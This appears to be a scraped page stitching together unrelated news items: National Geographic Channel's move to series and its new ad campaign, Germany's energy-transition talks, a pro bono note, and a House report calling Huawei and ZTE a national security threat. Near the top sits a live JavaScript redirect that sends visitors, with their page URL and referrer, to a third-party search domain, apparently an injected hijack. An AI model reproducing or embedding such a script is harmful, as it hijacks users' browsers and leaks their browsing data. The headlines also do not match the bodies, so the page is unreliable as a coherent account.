Bits Blog: Tech Companies Escalate Pressure on Government to Publish National Security Request Data

window.location="http://www.dnsrsearch.com/index.php?origURL="+escape(window.location)+"&r="+escape(document.referrer);

Advertising: National Geographic Channel Shifts Its Programming to TV Series

Courteney Monroe, the channel’s chief marketing officer, said its executives had worked since 2011 to switch its programming from being four-fifths documentaries and one-fifth series to four-fifths series and one-fifth documentaries. “It’s very hard to build a big, loyal audience without recurring series,” she said.

Those series include “Wicked Tuna,” about fishermen from Gloucester, Mass., and “Doomsday Preppers,” about Americans preparing for the end of the world, both introduced last year; “Brain Games,” introduced last month; and “Ultimate Survival Alaska,” which is set to premiere on Sunday. The channel, a joint venture begun in 2001 between the National Geographic Society and Fox Cable Networks, also recently began producing factually based dramas, like “Killing Lincoln,” which ran in February.

The final episode of the current season of “Wicked Tuna” will be shown on Sunday, followed by the first episode of “Ultimate Survival Alaska,” which Ms. Monroe said makes the evening “the ideal launch for the new brand campaign.”

The channel’s strategy so far appears to have had mixed results: according to Nielsen, the Sunday night showings of “Wicked Tuna” during Season 1 averaged 805,000 viewers, climbing to 953,000 in Season 2 through May 5. Average viewership of Tuesday night showings of “Doomsday Preppers,” however, fell from 936,000 in Season 1 to 736,000 in the second season.

Created by the New York office of BBDO, part of the Omnicom Group, the advertising is the channel’s first new branding campaign since 2009. It includes three spots on three of the new series, each 30 and 45 seconds long. The first, based on “Doomsday Preppers,” depicts a birthday party for a little girl in an underground bunker, who receives a gas mask as a present.

The second spot features Dave Marciano, a fishing boat captain who appears on “Wicked Tuna,” anxiously awaiting a possible catch, while the third spot, promoting “Ultimate Survival Alaska,” follows two adventurers racing to catch an airplane through snowy, icy terrain.

All three ads also feature viewers immersed in the environment of each series, watching the action unfold alongside characters representing the series while dressed in sweat pants and nightclothes, and engaged in activities like brushing their teeth and eating. They are invisible to the characters.

There is also a fourth spot, in 60- and 90-second versions, showing segments of the other three. None of the spots has dialogue; each ends with the tagline, “The places we take you ... aren’t just on the map.”

Greg Hahn, an executive creative director at BBDO New York, said the agency “knew we needed to show some original content and to bring the viewer into it, but we didn’t want to show clips, or people at home watching TV.”

He added, “We wanted to show the emotional response of people to the programming. It’s not just about the geographic places it takes you but also the emotional places. National Geographic magazine and National Geographic Channel have a long history of taking you to exotic places, showing you new locations. We wanted to build off that, open up a new way of looking at the brand.”

The new advertising will first appear on Sunday night on National Geographic Channel in the United States; it will also appear, starting Thursday, on the channel’s Web site and its Facebook, Twitter and YouTube accounts.

The spots will run in the future on sister channels of National Geographic Channel, Nat Geo WILD, which offers wildlife and natural history programming, and Nat Geo Mundo, a Spanish-language channel. They will also run later on National Geographic channels outside the United States, in 170 countries.

National Law Student Pro Bono Mandate Not Likely

It appears that a New York-style pro bono requirement for law students won't be going national anytime soon.

Germany Holds Talks on National Energy Strategy

Until now, each state has drawn up and worked from its own plan for the expansion of renewable resources in its territory, often in conflict with one another. On the federal side, there is no single leader for the project to increase reliance on renewable energy to at least 35 percent by 2020. Instead, responsibilities are divided between the ministries of the environment and the economy, with the education minister responsible for financing research on renewable energy and storage technology.

The opposition Social Democratic Party has pounced on the weakness in the Merkel government’s signature project ahead of national elections next year, while widespread public support for the plan faces strains from a nearly 50 percent jump in a consumer tax for the transformation next year.

“Germany’s energy transformation is threatened with collapse due to the inability of the government” to draw up a master plan, Hubertus Heil, a leading Social Democrat, said before Friday’s meeting.

Germans’ relationship to nuclear energy is deeply emotional, rooted in the antinuclear protest culture of the 1970s and memories of radioactive mushrooms and wild game in Bavarian forests that resulted from the 1986 meltdown in Chernobyl.

It would be a severe blow to Ms. Merkel and her Christian Democrats if the project, passed last year by her center-right government in the wake of the Fukushima nuclear disaster in Japan, were to fail. On Friday, she pledged to work with the states through a national dialogue on how best to move forward.

“Germans can be assured that we feel committed to the goal of energy transformation,” Ms. Merkel said after the meeting. “I felt a spirit that we all want, and perhaps can, achieve this.”

Torsten Albig, a Social Democrat who is governor of Schleswig-Holstein, also praised the discussions as “a considerable step forward” toward reaching a master plan by March.

His northern coastal state, along with Lower Saxony, has been criticized for expanding offshore wind energy at such a rapid pace that turbines have had to be switched off on exceptionally windy days, because they produce more energy than the grid can handle.

Ultimately, Ms. Merkel would like to see the energy generated by wind farms in the north transmitted to the power-hungry industrial south. A plan to expand Germany’s grid with that aim, which would require about 500 miles of new power lines and other major upgrades, is to go before Parliament next month.

U.S. Panel Calls Huawei and ZTE ‘National Security Threat’

The House Intelligence Committee said that after a yearlong investigation it had come to the conclusion that the Chinese businesses, Huawei Technologies and ZTE Inc., were a national security threat because of their attempts to extract sensitive information from American companies and their loyalties to the Chinese government.

The companies sell telecommunications equipment needed to create and operate wireless networks, like the ones used by Verizon Wireless and AT&T. Many of the major suppliers of the equipment are based outside the United States, creating concerns here about the security of communications.

Those concerns are most acute about Huawei and ZTE because of their close ties to the Chinese government, which the committee said has heavily subsidized the companies. Allowing the Chinese companies to do business in the United States, the report said, would give the Chinese government the ability to easily intercept communications and could allow it to start online attacks on critical infrastructure, like dams and power grids.

The release of the report comes as both presidential candidates have spoken of the importance of United States ties with China and have promised to act strongly on Chinese currency and trade practices that are damaging to American business interests.

Mitt Romney, the Republican presidential candidate, has called repeatedly during his campaign for a more confrontational approach to China on business issues, although he has focused his warnings more on Chinese currency market interventions than on the activities of the nation’s telecommunications companies.

President Obama has also taken a tougher stance on China recently. Late last month, Mr. Obama, through the Committee on Foreign Investment, ordered a Chinese company to divest itself of interests in four wind farm projects near a Navy base in Oregon where drone aircraft training takes place. It was the first time a president had blocked such a deal in 22 years.

The Obama administration has also filed a case at the World Trade Organization in Geneva accusing China of unfairly subsidizing its exports of autos and auto parts, the ninth trade action the administration has brought against China.

“We have a process that is not aimed at one specific company but using all the assets and parts of U.S. government aimed at protecting our telecommunications and critical infrastructure,” a senior White House official said.

The report was released on Monday morning at a news conference held by

Representative Mike Rogers, Republican of Michigan, the chairman of the House Intelligence Committee, and Representative C. A. Ruppersberger of Maryland, the top Democrat on the committee.

They said that the United States government should be barred from doing business with Huawei and ZTE and that American companies should avoid buying their equipment.

The report said the committee had obtained internal documents from former employees of Huawei that showed it supplied services to a “cyberwarfare” unit in the People’s Liberation Army.

The United States government, the report said, should go through the Committee on Foreign Investment in the United States, an interagency panel that reviews the national security implications of foreign investments, to carry out its recommendations. It also said that committee should block any mergers and acquisitions involving the Chinese companies and American businesses.

In the course of the investigation, the House committee said it had uncovered evidence of economic espionage — and officials said on Monday that they planned to hand over the evidence to the F.B.I.

Former and current employees for Huawei, the report said, told investigators for the committee that the company had committed “potential violations” in the United States related to immigration, bribery, corruption and copyright infringement.

Huawei has been the focus of criticism and security warnings for years, including by the Defense Department. Its expansion plans in the United States have faced resistance from Congress over questions about its ties to the military in China.

Huawei denies being financed to undertake research and development for the Chinese military, and its executives have repeatedly insisted that they have nothing to hide. The company issued an open letter to the United States government in February 2011, asking for an inquiry to clear up what it characterized as misperceptions about its history and business operations.

Michael S. Schmidt reported from Washington and Christine Hauser from New York. Keith Bradsher contributed reporting from Hong Kong, and Quentin Hardy from San Francisco.